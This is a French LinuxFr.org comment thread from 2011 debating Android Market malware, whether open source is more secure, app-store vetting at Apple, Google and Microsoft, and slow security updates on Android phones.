C'est justement le sens de mon propos : le libre améliore la sécurité parfois. Ca dépend. bref, c'est un outil, utilisable, ou pas, utilisé, ou pas. Le libre fournit des bénéfices, et des défauts (genre un patcheur qui patche comme il a envie et diffuse en faisant croire que c'est aussi secure voir plus que l'original...)
Ma critique est sur le fanatisme libriste qui veut que comme c'est libre, c'est plus sûr. Non, ce n'est pas si automatique. Ca dépend. C'est tout. Faut arrêter de voir le libre comme la réponse à tous les problèmes sans rien devoir faire. Le libre apporte des solutions à des problèmes, et ces solution ont des défauts, donc suivant les défauts suivant les projets, ça vaut le coup, ou pas.
[^] # Re: Solution libre
Posté par Juke (site web personnel) . Évalué à 0.
Le jeudi 03 mars 2011 à 11:57 +0100, Zenitram a écrit :
si j'ai de l'argent je peut payer des testeur pour auditer VIM avec le
code source
si j'ai de l'argent je peut payer des testeur pour auditer notepad.exe sans le code source
les deux trouveront peut-être de failles.
mais dans les deux cas ils n'ont pas accès au code de la même manière.
[^] # Re: Solution libre
Posté par vladislav askiparek . Évalué à 5.
Hmm, est la bonne ligne de défense?
Perso, je demanderais plutôt ce qu'il en est des applications pour WM7?
[^] # Re: Solution libre
Posté par Jiel (site web personnel) . Évalué à 9.
Quant tu as un smartphone sous Windows Phone, tu peux aussi ramener le téléphone a l'operateur téléphonique pour un remplacement pour un autre téléphone avec un système qui marche vraiment :p
[^] # Re: Solution libre
Posté par zebra3 . Évalué à 5.
Quelles applications ? Et surtout, quels téléphones ?
Article Quarante-Deux : Toute personne dépassant un kilomètre de haut doit quitter le Tribunal. -- Le Roi de Cœur
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à -2.
Ils font comme Apple
[^] # Re: Solution libre
Posté par DLFP est mort . Évalué à 6.
D'ailleurs la validation d'applications propriétaires, ça ne marche pas, parce que même la procédure de validation d'Apple a laissé passé divers malware (et une application qui permettait de faire du tethering).
Mais bon ça entre en conflit avec le monde imaginaire des trolls.
DLFP >> PCInpact > Numerama >> LinuxFr.org
[^] # Re: Solution libre
Posté par Moonz . Évalué à 1.
Tu connais une procédure de validation d’applications tout court qui fonctionne parfaitement sans aucun problème ?
[^] # Re: Solution libre
Posté par DLFP est mort . Évalué à 1.
Tu connais une procédure de validation d’applications tout court qui fonctionne parfaitement sans aucun problème ?
Qui a dit qu'il y avait une procédure de vérification parfaite, à part éventuellement un troll qui vit dans un monde imaginaire ? Il y en a qui fonctionnent mieux que la vérification de boîtes noires propriétaires, en revanche.
DLFP >> PCInpact > Numerama >> LinuxFr.org
[^] # Re: Solution libre
Posté par TImaniac (site web personnel) . Évalué à 3. Dernière modification le 03 mars 2011 à 14:00.
Il y a quand même une grosse différence avec la validation à priori façon AppStore d'Apple ou Marketplace de Microsoft :
Bref, sur ces plateformes, le réalisateur de malware va devoir :
Sinon oui, en théorie il est toujours possible de faire passer un malware jusqu'à l'utilisateur final sur ces plateformes, mais dans la vraie vie le risque est grandement limité. Le sujet de ce journal en est une preuve flagrante.
[^] # Re: Solution libre
Posté par DLFP est mort . Évalué à 2.
En somme, tu dis qu'il est plus difficile de diffuser un malware sur une plate-forme qui a une validation quelconque, par rapport à une autre qui n'en a pas ? Qui aurait bien pu affirmer le contraire ?
DLFP >> PCInpact > Numerama >> LinuxFr.org
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à -1.
Ceux qui pensent qu'il suffit d'être libre pour être plus sûr qu'il n'y a pas de malwares. C'est ce que j'ai retenu de l'argument de certains en tous cas.
[^] # Re: Solution libre
Posté par DLFP est mort . Évalué à 1.
Merci de montrer qui a dit ça, parce que pour l'instant ces gens n'existent que dans ton monde imaginaire.
DLFP >> PCInpact > Numerama >> LinuxFr.org
[^] # Re: Solution libre
Posté par TImaniac (site web personnel) . Évalué à 3.
Ben je te cites :
Dire que ça ne marche pas, c'est dire que ça ne sert à rien. Moi j'explique pourquoi ça sert à quelque chose, bref que ça marche. L'objectif de cette validation est de limiter les risques de malware, et j'explique juste comment cet objectif est atteint.
[^] # Re: Solution libre
Posté par Moogle . Évalué à 4.
C'est vrai, sauf si, faute de pouvoir installer ce qu'ils souhaitent, les utilisateurs se tournent vers le jailbreak de leur téléphone, pour installer sans aucune vérification tout ce qui leur tombe sous la main, et en se privant des mises à jours officielles de leur téléphone (et tant pis pour les corrections de failles).
[^] # Re: Solution libre
Posté par DLFP est mort . Évalué à 3.
Ça dépend, à une certaine époque le jailbreak fournissait une solution à la faille PDF qui est restée béante pendant plusieurs semaines. ;)
DLFP >> PCInpact > Numerama >> LinuxFr.org
[^] # Re: Solution libre
Posté par totof2000 . Évalué à 5.
Laisse tomber, le débat est inutile.
Ce sont les mêmes personnes qui critiquent les distributions linux qui soit disant empêchent d'installer la dernière version d'un soft X parce que les dépots ne sont pas mis à jour, que c'est pas comme sous windows ou tu télécharges et installe, et qui vont dire que le libre c'est pas sécure, ou que Google/Apple ont raison d'avoir leur "store" mais qu'Apple c'est mieux parce que tu payes pour mettre à dispo ton soft, et qu'Apple fait plus de contrôle sur les applis, etc .... Mais en y regardant un peu plus près, on constate qu'Apple fait exactement la même chose que les distribs Linux avec les logiciels libres, mais fait payer en plus.
Maintenant ces mêmes personnes vont dire que les sources ne servent à rien pour la sécurité des applis. Certes c'est pas tout d'avoir les sources, il faut savoir les déchiffrer, mais déjà pour insérer un malware dans un programme Opensource, faut bien le cacher, ya plein de précautions à prendre si on veut pas se faire voir. Et tout comme il est difficile de trouver qqn qui a les compétences pour détecter un malware dans un fichier opensource, il est difficile de trouver qqn qui a les compétences pour cacher le même malware dans les sources. C'est bien plus facile a cacher dans un programme closed sources.
[^] # Re: Solution libre
Posté par totof2000 . Évalué à 3.
Pfff! Je pense que je devrais aller me coucher, j'ai écrit n'importe quoi. Je recommence :
Ce sont les mêmes personnes qui critiquent les distributions linux qui soit disant empêchent d'installer la dernière version d'un soft X parce que les dépots ne sont pas mis à jour, que c'est pas comme sous windows ou tu télécharges et installe, alors que d'un autre côté elles vont encenser Apple parce que leur modèle est plus sécure parce qu'ils controlent à priori les applis rendues dispo sur leur store.
En y regardant un peu plus près, on constate qu'Apple fait exactement la même chose que les distribs Linux avec les logiciels libres, mais fait payer en plus. Et si j'ai bien compris, ils veulent étendre ce modèle aux logiciels sous MacOSX. Si Apple le fait c'est que ce n'est pas si mauvais comme concept non ? (mis à part qu'Apple fait payer tout le monde au passage).
Maintenant ces mêmes personnes vont dire que les sources ne servent à rien pour la sécurité des applis. Certes c'est pas tout d'avoir les sources, il faut savoir les déchiffrer, mais déjà pour insérer un malware dans un programme Opensource, faut bien le cacher, ya plein de précautions à prendre si on veut pas se faire voir. Et tout comme il est difficile de trouver qqn qui a les compétences pour détecter un malware dans un fichier opensource, il est difficile de trouver qqn qui a les compétences pour cacher le même malware dans les sources. C'est bien plus facile a cacher dans un programme closed sources.
Tout ça pour dire que discuter avec ces détracteurs ne sert à rien. Ils ont leur propre idée tranchée et ne se remettent pas en question.
[^] # Re: Solution libre
Posté par Littleboy . Évalué à 2.
Et sinon le XML dans les fichiers de config, t'en penses quoi?
[^] # Re: Solution libre
Posté par totof2000 . Évalué à 3.
"Pourquoi faire simple quand on peut faire compliqué ? "
[^] # Re: Solution libre
Posté par El Titi . Évalué à 3.
Un peu simpliste, tu crois pas ?
Tout le monde ici (même pBpG qui a audité le code de Win) semble être d'accord avec le fait que l'accès au code source est un moyen supplémentaire pour auditer sa sécurité. (rien a voir avec le libre d'ailleurs)
Il semble évident que l'audit automatique du source soit insuffisant et que des compétences humaines s'imposent.
A partir de là, le bénévolat révèle sa faiblesse car un dev a du mal à être motivé par l'audit de code tout comme la doc d'ailleurs.
Maintenant, rien n'empêche les projets libres de lever des fonds pour payer ces auditeurs (Le libre a un peu le même pb avec les designers). Rien ne sert de se mettre des œillères, si l'on veut progresser.
L'autre pb concerne les stores. Un store qui se contente du binaire ne peux pas être aussi fiable que le même qui exigerait l'accès au code source pour audit et recompilation ... à condition que l'audit ne soit pas négligé et d'y mettre les moyens.
Le pb avec l'Android Market, si j'ai bien compris, c'est que presqu'aucun audit n'est pratiqué.
Le store ideal est peut-être celui qui exige un accès au code source pour certifier une appli (avec un accès payant pour disposer de moyens) et qui tolère gratuitement des applis non certifiées aux risques et périls du client.
Je n'en vois pas dans le paysage actuel, me semble t'il.
[^] # Re: Solution libre
Posté par CrEv (site web personnel) . Évalué à 3.
donc en fait ça ne servirait à rien car les gens continueront d'installer des conneries gratuites.
J'aurais à faire un malware, j'en ferais une appli gratuite dans tous les cas pour qu'un max de personnes se jettent dessus
[^] # Re: Solution libre
Posté par El Titi . Évalué à 4.
Libre à eux de jouer aux cons, à Google de se couvrir et aux banques ou opérateurs de ne pas les indemniser.
Liberté ne va pas sans responsabilité. Mais tu préfères peut-être le modèle fermé d'Apple ou bloated de l'Android Market aujourd'hui.
[^] # Re: Solution libre
Posté par CrEv (site web personnel) . Évalué à 1.
non, point, je dis juste que ta solution n'apporte en réalité quasiment rien car elle cible les applications payantes alors qu'à mon avis le risque porte sur les applis gratuites
[^] # Re: Solution libre
Posté par El Titi . Évalué à 3.
La certification payante, c'est le développeur qui la demande.
Son appli peut-être gratuite ou payante ET libre. On peut recourir à des appels aux dons pour compenser cette certification.
Après, le tampon "Android Market Certified" est un gage de qualité qui peut concourir au succès d'une app et ce quelque soit le modèle économique du projet derrière.
[^] # Re: Solution libre
Posté par totof2000 . Évalué à 1.
Je reprends l'une des premières interventions de PBPG:
Cette histoire de disponibilite du code source qui empecherait ce genre de probleme est un gros gag, ca n'empeche rien du tout, notamment parce que quasiment personne ne lit les sources, encore moins attentivement, et definitevement pas rapidement.
Autrement dit, open source ou closed source c'est la même chose pour introduire un malware. Ben non, parce qu'il est bien plus facile de cacher un malware dans du closed source que dans de l'open source.
C'est comme s'il disait qu'il n'y a aucune différence pour un voleur d'agir le jour ou la nuit parce que le jour ya personne qui regarde ce qui se passe dans la rue. Ben même si c'est vrai, le risque que quelqu'un voit ce qui se passe et reconnaisse le voleur est bien plus important le jour que la nuit. Pour pouvoir commetre un vol en plein jour sans être vu ni reconnu, il faut prendre un certain nombre de précautions qui ne sont pas à la portée du premier venu.
[^] # Re: Solution libre
Posté par CrEv (site web personnel) . Évalué à 3.
faut voir, tous les cambriolages de mon quartier se font de journée... bien plus facile, bien plus discret justement (de nuit avec une lampe torche a défoncer une porte t'es beaucoup plus reprérable que de jour avec un bleu de travail lorsque tout le monde est au taff).
Et je crois que tu n'as pas du tout compris l'argument de pBpG : oui en théorie avoir les sources augmente les possibilités de découvrir des problèmes. Mais en pratique vu que personne ne prend le temps / l'argent pour le faire ben ça ne change rien dans la vraie vie
[^] # Re: Solution libre
Posté par El Titi . Évalué à 2.
La question alors.
Le modèle de la gratuité (pas de ticket d'entrée pour le développeur) avec aucun/peu de contrôle du store Android est t'il plus secure que celui plus exigeant mais payant d'Apple ?
La sécurité a un prix.
A terme la réputation d'Android peut en pâtir et un label de certification après audit risque de devenir incontournable.
# Quel intérêt?
Posté par Brioche4012 (site web personnel) . Évalué à -7.
Android tel que fourni sur les smartphones n'est pas libre, les applications de google (dont le market) ne sont pas libres, les applications disponibles sur le market sont en majorité propriétaires, enfin les applications concernées par cette infection ne sont pas libres non plus.
La seule partie du problème qui pourrait éventuellement toucher au sujet de ce site (pour rappel Linux et le libre) est donc le système de base, lequel n'est clairement fautif dans ce cas, aucune faille particulière n'ayant été exploitée.
Je pense donc que tu t'es trompé de site pour poster. Je te propose les suivants qui me semblent plus indiqués:
http://clubic.com/forum
http://forum.ubuntu-fr.org/
Bonne soirée à toi pBpG.
[^] # Re: Quel intérêt?
Posté par pasBill pasGates . Évalué à 2.
C'est bien vrai ca.
Mais au fait, si tu tiens cet avis, pourquoi donc est-ce que tu ne dis pas la meme chose sur les innombrables journaux/articles sur MS & Windows ?
Ils sont pas libres non plus hein...
[^] # Re: Quel intérêt?
Posté par M . Évalué à 4.
Sauf que un des exploits est inspirer d'un exploit udev : http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1185
[^] # Re: Quel intérêt?
Posté par suJeSelS . Évalué à 2.
Encore un exemple montrant l'importance du vocabulaire. Nous sommes sur linuxfr donc à priori un sujet sur android/Linux a autant sa place qu'un sujet sur GNU/Linux.
[^] # Re: Quel intérêt?
Posté par Tom . Évalué à 2.
Mais moi je ne parviens pas à suivre, l'auteur du journal a lui-même annoncé dans un commentaire d'un autre journal, je cite:
Android != Linux
[^] # Re: Quel intérêt?
Posté par houra . Évalué à 2.
ouais et c'était une réponse à un de mes posts. :)
Sedullus dux et princeps Lemovicum occiditur
[^] # Re: Quel intérêt?
Posté par Frank-N-Furter . Évalué à 2.
Kwa!? Nous ne sommes pas sur trollfr?!
Depending on the time of day, the French go either way.
# Avec windows...
Posté par kowalsky . Évalué à 1.
Sous windows, plein de gens on installés daemontools qui contenait un logiciel espion, blabla c'est de la faute de windows...
[^] # Re: Avec windows...
Posté par pasBill pasGates . Évalué à 4.
Oh qu'on se comprenne bien, c'est pas la faute d'Android, c'est la faute de Google qui ne signale pas clairement aux utilisateurs les dangers d'utiliser un appstore qui ne procede a aucun controle sur le contenu.
[^] # Re: Avec windows...
Posté par tiot (site web personnel) . Évalué à 2.
Même sur ceux qui proposent un contrôle du contenu. Je ne vois pas comment Apple peut être sûr qu'il n'y a pas de malware dans ses applications…
[^] # Re: Avec windows...
Posté par pasBill pasGates . Évalué à 2.
Il ne peut pas etre sur, c'est techniquement impossible.
Mais il peut mettre une barriere assez haute pour empecher la grosse majorite des malwares, c'est deja bien plus que ne rien faire.
[^] # Re: Avec windows...
Posté par Gniarf . Évalué à 3.
y'en a un qui pique 30 % des revenus :(((
# la sécurité android
Posté par M . Évalué à 8.
On voit que niveau sécurité android c'est pas top.
Premièrement il y a très peu de mise à jour, et comme aucun logiciel n'est parfait, il y a des bugs. Et certains contiennes des failles de sécurité plus ou moins grave. Les malware exploitent des failles dans les soft bas niveau android (process init et adb) qui permette un acces root en local ( http://intrepidusgroup.com/insight/2010/09/android-root-source-code-looking-at-the-c-skills/ ). Le navigateur a aussi des problèmes sur certaines version.
Et que fait google rien : il patch le code source (et encore c'est pas sur pour les vielles versions), mais ensuite c'est au constructeur de téléphone/opérateur de proposer l'update !!!
Bref c'est catastrophique, de plus en plus de téléphone android vont vivre avec des exploits publiques sans aucune chance d'être patché (a moins de le reflasher).
Deuxièmement avec le NDK les applis ont un accès bas niveau libc, appel système et peuvent implémenter facilement ces exploits sans aucune permission spécifique.
C'est la porte ouverte au malware sur ces engins. Surtout qu'ils sont connectés en permanence.
PS : Le système des permissions android est merdique. La liste des perms demandé par chaque appli à l'install est peu visible sur la nouvelle version du market. Et plein d'application abuse des permissions sans moyen de les installer en leur accordant qu'une partie des perms.
PS2 : Apple est mieux à ce niveau : chaque release est pour tout le monde (facile c'est eux le constructeur) et les applis sont limités au niveau de l'API utilisable.
[^] # Re: la sécurité android
Posté par M . Évalué à 2.
Au passage d'autres exploits sont dispo sur http://c-skills.blogspot.com/ (avec code et explication).
[^] # Re: la sécurité android
Posté par totof2000 . Évalué à 8.
C'est pas uniquement google qui est responsable, mais aussi les opérateurs qui bloquent les mises à our des téléphones qu'ils vendent.
[^] # Re: la sécurité android
Posté par Grunt . Évalué à 9.
Et si c'était la faute à trop de fermeture?
LEs failles root sur Androïd ne devraient pas traîner sur des téléphones grand public pendant des plombes. Et on devrait pouvoir patcher soi-même Androïd et pouvoir passer root volontairement (via une combinaison de touches par exemple, ou un mot de passe fourni avec le téléphone).
Finalement, le problème ce n'est pas l'ouverture du market Androïd, mais la fermeture de la plateforme Androïd elle-même. Avec un Androïd facilement patchable et réinstallable, on pourrait même imaginer des distributions "Androïd/Linux" différentes, sur le même modèle des PC.
Parce que bon, un exploit root local ne traîne pas quinze plombes sur une distro PC. Parce que n'importe qui peut, sans grandes connaissances, changer de distro, mettre à jour, comparer les distros. Quand les téléphones Androïd offriront autant de liberté effective que les PC, on y retrouvera la même sécurité.
Oui, je sais: si t'as un bac +5 en informatique embarquée tu peux tenter de perdre la garantie en te battant contre les barrières de l'opérateur, du constructeur et de Google pour remplacer Androïd par autre chose. D'où la nécessité que ce soit aussi facile et simple que sur un PC: j'achète mon téléphone chez HTC, je prends la distro Debian/Androïd/BSD, je m'abonne à l'opérateur Bouygues. Tout comme je peux prendre un fixe Asus, avec du Ubuntu dessus et avoir Internet par Nerim.
Mettre à jour son téléphone contre une "faille de sécurité" ça veut dire perdre la liberté de le rooter. C'est clairement un choix à la con, et c'est la politique de Google et des constructeurs de ne pas suffisamment ouvrir les téléphones qui fait qu'il y a des failles qui subsistent. On a vu la même histoire avec les iPhone jailbreakés et les gens qui ne changeaient pas le mot de passe root: si Apple leur avait donné l'accès root et un mot de passe aléatoire et/ou à changer obligatoirement au premier démarrage, il n'y aurait pas eu de problème.
THIS IS JUST A PLACEHOLDER. YOU SHOULD NEVER SEE THIS STRING.
[^] # Re: la sécurité android
Posté par suJeSelS . Évalué à 5.
Le problème en vient pas que d'Android, mais également les constructeurs qui utilisent des périphériques nécessitant des pilotes propriétaires. Tu peux toujours installer Android sur un équipement ayant une architecture supportée, seulement si aucun périphérique n'est supporté parce-que le constructeur ne fournit pas les pilotes ça ne sert à rien. Le problème est globalement le même avec du GNU/Linux et des pilotes propriétaires.
[^] # Re: lasécuritéandroid
Posté par Juke (site web personnel) . Évalué à 2.
Le mercredi 02 mars 2011 à 22:19 +0100, Matthieu C a écrit :
l'utilisateur ne peux pas le faire lui même ?
Quand je veux mettre à jour mon téléphone sous Meego, je ne passe ni par
nokia par mes opérateurs. Ils n'ont aucune idée du téléphone que
j'utilise et ça ne les regarde pas, je ne les paie pas pour ça.
[^] # Re: lasécuritéandroid
Posté par Gniarf . Évalué à 2.
et ensuite bizarrement tu peux plus téléphoner avec sur leur réseau. oops.
[^] # Re:lasécuritéandroid
Posté par Juke (site web personnel) . Évalué à 2.
Le jeudi 03 mars 2011 à 16:29 +0100, Gniarf a écrit :
pour l'instant je n'ai jamais eu le problème.
j'avais une fois des One Way Audio sur SFR, m'ont demandé quel téléphone
j'avais, ils ne l'avaient pas en base, il m'ont demandé de passé en 2G et ça re-fonctionné.
# Le vrai problème
Posté par Aissen . Évalué à 10.
Ici le malware en question utilisait un local root exploit d’Android pour masquer les permissions dont il avait besoin, et devenir résident en mémoire. La faille utilisée était corrigée depuis un moment dans AOSP, et dans la dernière mouture d’Android.
Le vrai problème c’est qu’une bonne partie des téléphones sur le marché (surement la majorité) ne reçoit pas les mises à jours de sécurité à temps, voire pas du tout. Le moins pire reste de prendre un Nexus {One,S}, maintenu directement par Google, mais là encore on peut avoir des trous de 4 mois sans mise à jour officielle disponible (alors que le code du correctif est déjà sorti)…
C’est un problème de fond, et on va en entendre bien parler pendant les mois et années à venir !
[^] # Re: Le vrai problème
Posté par Albert_ . Évalué à 1.
Ah oui mais non c'est FORCEMENT la faute de google.
[^] # Re: Le vrai problème
Posté par Fabimaru (site web personnel) . Évalué à 2.
Le problème c'est qu'en laissant totalement la main aux opérateurs et aux fabricants de téléphones, Google pouvait s'attendre à que ceux qui joue le jeu du "tu veux une MAJ? alors achète un nouveau téléphone". Mais d'un autre coté, les fabricants n'auraient peut-être pas utilisé Android sans la possibilité de rendre leurs terminaux obsolètes.
[^] # Re: Le vrai problème
Posté par Albert_ . Évalué à 3.
C'est ce que l'on appelle la liberte et le logiciel libre est libre. Tu ne peux pas tout de meme reprocher a Google de respecter l'esprit et la lettre en ce qui concerne Android. Les seuls telephones sur lesquel Google peut faire les mises a jour comme il veut sont les nexus et autrement tu aussi la possibilite d'avoir un truc sur lequel le fabricant a tout les pouvoirs sur le hardware et le software et se fout totalement des operateurs : iphone.
# Test
Posté par Dup (site web personnel) . Évalué à -6.
Juste un test pour l'esater egg
# Et combien pour Windows Phone ?
Posté par El Titi . Évalué à 4.
http://www.businessmobile.fr/actualites/windows-phone-7-certains-windows-phones-inutilisables-apres-la-mise-a-jour-39758482.htm
Quand l'OS lui-même est un malware, pBpG se fait beaucoup plus discret.
[^] # Re: Et combien pour Windows Phone ?
Posté par Guillaume Knispel . Évalué à 7.
le niveau trollesque du journal et des commentaires étant quand même assez grand, je vais aussi en profiter pour partir totalement en vrille hs et dénoncer grave en rappelant, en guise d'illustration de la merveilleuse efficacité des méthode géniales de microsoft en matière de qualité logicielle, le bug qu'ils avaient réussi à pondre sur zune, d'une complexité et d'une finesse vraiment très grande et démontrant une compétence forte en matière de taux de couverture : http://www.crunchgear.com/2008/12/31/zune-bug-explained-in-detail/
C'est petit de ma part mais bon, cette boucle me fait toujours tellement rire à chaque fois que je la relis.
[^] # Re: Et combien pour Windows Phone ?
Posté par pasBill pasGates . Évalué à 4.
T'as visiblement rate le journal d'Albert d'il y a quelque jours, tu travailles trop.
[^] # Re: Et combien pour Windows Phone ?
Posté par El Titi . Évalué à 2.
J'ai beau chercher, je ne vois pas de journal d'Albert qui parlerait de ce sujet.
[^] # Re: Et combien pour Windows Phone ?
Posté par Albert_ . Évalué à 2.
c'etait un journal humouristique du nom de "Nokia change de corps de metier"
C'est amusant de le voir citer ce journal vu sa reaction en le voyant :)
[^] # Re: Et combien pour Windows Phone ?
Posté par CrEv (site web personnel) . Évalué à 2.
https://linuxfr.org/users/albert_/journaux/nokia-change-de-corps-de-m%C3%A9tier
[^] # Re: Et combien pour Windows Phone ?
Posté par Albert_ . Évalué à -2.
En meme temps cela se comprend qu'il n'en parle pas. Il est pas paye pour...
Par contre contre Google il est paye meme pour attaquer cette boite meme lorsqu'ils avaient deja corrige la faute et que c'etait les compagnies fournissant le telephone et/ou le service telephonique qui n'avaient pas repercute dans une mise a jour de securite.
J'espere qu'il viendra claironner sur toutes les failles de securite de Microsoft windows patche officiellement et encore mieux sur celles qui le sont sans le dire...
# Le coût d'entré.
Posté par syj . Évalué à -2.
On ne peut pas reprocher à Google le fait de ne pas contrôler les applications qui arrive sur le Market. Il pourrait le faire que çà ne suffirait pas.
Le meilleur moyen a mon avis pour lutter contre les malwares serait que Google (et les autres AppStore) offre des niveaux de prix pour les comptes qui peuvent publier des applications.
Actuellement, il faut environ 20 euros pour ouvrir un compte et pouvoir publier sur le market. Je trouve que déjà çà pose une limite , il faut que le contrevenant créer son compte paie 20 euros pour pouvoir voir son application télécharger et installé par ce biais là. Il doit donc mettre en place un système pour rentabiliser ces 20 euros. Sinon , son compte sera fermé et il devra repayer à Google 20 euros pour pouvoir publier des applications.
Imaginons un niveau gold ou platine à 5000 euros, si l'utilisateur voit que l'éditeur a mis 5000 euros sur la table pour garantir aux utilisateurs du market que son application n'est pas virale et qu'il compte bien capitalisé sur son compte et sa fiabilité.
L'utilisateur pourra accorder plus de crédit à l'application.
Au final, je pense que les AppStore gratuit on leur place au même titre que des AppStore très cher qui garantissent aux utilisateurs le sérieux de l'éditeur.
[^] # Re: Le coût d'entré.
Posté par plagiats . Évalué à 3.
Excuse moi mais je trouve cela tres bete comme raisonnement. L'argent ne fait pas l'honnetete. Ce n'est pas parce que tu as un gros chiffre d'affaire que ta societe cache une arnaque, et inversement ce n'est pas parce que tu es une PME ou un auto-entrepreneur que je ne dois pas t'accorder ma confiance.
[^] # Re: Le coût d'entré.
Posté par syj . Évalué à -2.
Je ne dis pas que l'argent Garantie. Il indique juste que l'émetteur a investit dans quelques choses, il doit donc la rentabiliser.
Pourquoi, il y a autant de virus sur les P2P parce qu'il n'y a aucun coût lié à leur diffusion.
Une boite qui fait plusieurs millions d'euros de chiffre d'affaire, qui a capitalisé sur son image, un emplacement de vente dans un AppStore. Tu peux être sur qu'elle ne te plantera pas trop un couteau dans le dos ou qu'elle y fera un peu attention.
Actuellement , la diffusion de Virus executé par l'utilisateur, c'est toujours fait via Email, Phishing, site de téléchargement , P2P... etc.. A l'émetteur, çà ne coute rien donc il pouvait s'arranger pour garantir la diffusion de manière massive. Avec les plateformes fermé type AppStore, l'émetteur de Virus doit avancer de l'argent sur l'arnaque qu'il souhaite mettre en place. çà complique fortement la diffusion.
Après , tu peux avoir l'age du compte, si il est vieux de plusieurs années et qu'il est associé à des applications de qualité. Dans ce cas là, l'argent est symbolisé par le nom associé à qui représente une masse de travail. C'est un peu comme Debian , Linux, Apache, ...
[^] # Re: Le coût d'entré.
Posté par plagiats . Évalué à 3.
La confiance vient d'une reputation, d'un historique, d'une credibilite, d'une communication, etc. Oui. Le prix du ticket d'entree n'a rien a faire la dedans.
[^] # Re: Le coût d'entré.
Posté par briaeros007 . Évalué à 4.
euh vraiment ?
tu veux vraiment que je te rappel le passif de sony ?
[^] # Re: Le coût d'entré.
Posté par totof2000 . Évalué à 8.
Je suis une entreprise qui a pour objectif de collecter les données personnelles des individus pour les revendre à d'autres entreprises pour au mieux de la pub ciblée, au pire ... je vous laisse imaginer.
Je ne sais pas combien peuvent se vendre ces infos, mais bon, je peux trouver un tas de trucs qui permettent de récupérer ces infos : les sonneries débiles style "René la Taupe", "gamin qui chiale", "rots", "pets", et j'en passe .... Dans mon appli je peux mettre un truc du style "Fais une blague à tes amis, envoie-leur un MMS qui pète quand ils sont dans le métro", et de ce fait demander un accès au carnet d'adresses pour avoir les adresses/téléphones. Si tu arrives à capter beaucoup d'adresses, tu as vite rentabilisé ta mise de départ. Et je dirais même que mettre un prix élevé d'entrée favoriserait ce genre de comportement, même pour les applis "honnêtes", qui n'auraient d'autre choix pour survivre que de passer par ce genre de pratique.
[^] # Re: Le coût d'entré.
Posté par dinomasque . Évalué à 2.
Elle coûte combien l'appli pour envoyer un MMS qui pète quand on est dans le métro ?
BeOS le faisait il y a 20 ans !
# Faiblesse générale des smartphones et d’Android en particulier!
Posté par Unixfix le Gaulois . Évalué à 5.
Ce que beaucoup semblent oublier, c’est qu’un Smartphone est un ordinateur permettant accessoirement de téléphoner.
Surtout si le système est très diffusé, il devient donc une cible intéressante pour les diffuseurs de malwares utilisant la naïveté des utilisateurs qui visiblement n’ont pas encore compris que leur téléphone est un ordinateur ultra-portable nécessitant un anti-virus et des patches de sécurité réguliers.
Il est certain que les appareils sous Android sont une cible facile car les constructeurs ont personnalisé leur système quasi pour chaque appareil rendant les updates devenus spécifiques une affaire coûteuse, ce qui à terme va rendre les appareils beaucoup plus chers.
Il est certain que dans ce cas précis le système captif d’Apple ou les possibilités très limités de personnalisation des Windowsphones est du moins pour les fabricants un avantage.
# La recommendation
Posté par plagiats . Évalué à 4.
Merci pour cette information, mais attention la recommandation "allez changer votre portable" vient de CNN pas de Google. Rien d'officiel/technique n'indique que les malwares resistent effectivement a une simple desinstallation (pourquoi pas?) ou a un formatage ("wipe"). Pour moi cette recommandation vaut autant qu'un "redemarrez votre PC regulierement pour garder de bonnes performances". C'est plus facile a comprendre pour madame Michu et on est sur que ca fonctionne.
# Et donc ?
Posté par jigso . Évalué à -2. Dernière modification le 03 mars 2011 à 21:57.
Bon, PbPg vient de découvrir que le monde est méchant, et qu'à partir du moment où on est connecté on peut se faire pirater, quelle que soit la plate-forme et le système déployé, et que le système inviolable n'existe pas. (cf. théorèmes d'incomplétudes de Gödel).
Et donc ? À part lancer les inévitable trolls Android/Windows, Libre/Proprio, tu sers à quoi exactement ?
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.